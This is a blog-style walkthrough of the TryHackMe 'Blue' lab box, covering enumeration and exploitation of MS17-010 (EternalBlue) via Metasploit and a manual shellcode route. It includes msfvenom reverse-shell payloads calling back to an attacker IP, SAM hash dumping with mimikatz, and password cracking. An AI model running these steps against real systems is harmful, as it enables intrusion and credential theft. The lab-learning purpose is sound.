Blue Walkthrough

THM — Offensive Pentesting Path (1)

This is the first of a series of walkthroughs for THM boxes.

Blue is the first machine in the offensive pentesting path of THM after the intro Vulnerversity box. Being the second time I have approached these boxes (first time was before starting PWK and I felt I did not learn much by THM’s approach to teaching), I wonder if I could get more out of them on the second run after going through OSCP.

HostnameBLUE
Date15-04-2022

Exploitation Overview

The target was exploited with the eternalblue SMB vulnerability. Workable exploits were found within the metasploit framework, and from PoC scripts on Github.

Service Enumeration

Portscan — TCP

$ sudo nmap -v -sC -sV -p- [target_ip]

PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server

Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
<SNIP>
| Names:
|   JON-PC<00>           Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   JON-PC<20>           Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
<SNIP>
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-04-07T00:56:43-05:00

Exploitation and proof

To start with, nmap scan revealed open 135,139,445 (netbios, SMB) as well as RDP at 3389. Further enumeration with --script=smb-vuln* flag revealed vulnerability to MS17-010. No other users were exposed beside JON.

| smb-vuln-ms17-010:
|   vulnerable:
|   remote code execution vulnerability in microsoft smbv1 servers (ms17-010)
|     state: vulnerable
|     ids:  cve:cve-2017-0143
|     risk factor: high
|       a critical remote code execution vulnerability exists in microsoft smbv1
|        servers (ms17-010).

On --script=smb-enum-shares a read-only IPC share was found.

| smb-enum-shares:
|   account_used: <blank>
|   \\10.10.235.176\ipc$:
|     warning: couldn't get details for share: nt_status_access_denied
|_    anonymous access: read

Initial Access

Using MS17-010 / MS08-016 were some of the bigger headaches that I encountered during PWK, despite Forum/Offsec sometimes referring to these older vulnerabilities as “easy wins”. On the THM “walkthrough” you are prompted to just search for “MS17-010″on metasploit and fire off the exploit without much understanding of the target. IMO the topic deserves more discussion.

From our earlier enumeration the target was found to be running Win7 (with smb-os-discovery). So which Eternal variant is suitable for this target? Quoting the original repo by worawit:

Eternalblue requires only access to IPC$ to exploit a target while other exploits require access to named pipe too. So the exploit always works against Windows < 8 in all configuration (if tcp port 445 is accessible). However, Eternalblue has a chance to crash a target higher than other exploits.
Eternalchampion requires access to named pipe.
Eternalromance requires access to named pipe. The exploit can target Windows < 8 because the bug for info leak is fixed in Windows 8.
Eternalsynergy requires access to named pipe. I believe this exploit is modified from Eternalromance to target Windows 8 and later.

An excellent fork on this vulnerability was helviojunior’s. Using scanner/smb/pipe_auditor on msf on our target would show you that there are no named pipes available. The alternative was using checker.py from the above repo:

$ python checker.py [target_ip]
Trying to connect to [target_ip]:445
Target OS: Windows 7 Professional 7601 Service Pack 1
The target is not patched

=== Testing named pipes ===
spoolss: STATUS_ACCESS_DENIED
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_ACCESS_DENIED

With the Windows version, lack of a pipe and exposed $IPC share, Eternalblue was the one that has the bigger chance to work.

The MSF way

To find out what exploits against MS17-010 were available on MSF, you could run:

msf6 > search ms17_010

Matching Modules
================

   #  Name                                    
   -  ----                                    
   0  exploit/windows/smb/ms17_010_eternalblue
   1  exploit/windows/smb/ms17_010_psexec     
   2  auxiliary/admin/smb/ms17_010_command    
   3  auxiliary/scanner/smb/smb_ms17_010      

psexec required named pipes, so naturally the eternalblue one was to be used here.

> use windows/smb/ms17_010_eternalblue

> set RHOSTS [target_ip]
> set LHOST [attacker ip]
> set LPORT 4444
> run
The Non-MSF way

Many MS17-010 repos were written in python2 and required the python2 version of impacket. To satisfy the dependencies in a headache-free manner, first clone the repo, then make it a venv of python2.7, then install impacket inside the virtual env with pip.

# first initiate the venv
$ virtualenv --python=/usr/bin/python2.7 venv
$ . venv/bin/activate

# verify python version & install impacket 
$ python --version
$ pip install impacket

We started from the helviojunior repo. The first step was shellcode generation. To understand what everything does, you need to read the merging script. These 3 files were in the shellcode directory:

eternalblue_kshellcode_x64.asm  eternalblue_sc_merge.py
eternalblue_kshellcode_x86.asm

Then the kernel shellcodes were first compiled with nasm:

$ nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
$ nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin

And the reverse shells generated with:

$ msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=[attacker_ip] LPORT=7686
$ msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=[attacker_ip] LPORT=7676

And to finally merge them:

$ cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
$ cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
$ python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

Finally, run the exploit script for windows 7 and open netcat listeners for both port 7686 and 7676. A reverse shell was send to us and caught. On some occasions the exploit scripts required repeated execution before a shell was obtained.

Flag 1:

Flag 2:

Flag 3:

Post exploitation

In order to crack the NTML hash of the user JON, we first have to dump it from the SAM with Mimikatz (now called kiwi on MSF). Note that system privilege is required.

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( [email protected] )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : JON-PC
SysKey : 55bd17830e678f18a3110daf2c17d4c7
Local SID : S-1-5-21-2633577515-2458672280-487782642

<SNIP>

RID  : 000003e8 (1000)
User : Jon
  Hash NTLM: [the_hash]
# back in Kali
$ john hash.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
<SNIP>
[cracked_password]      (?)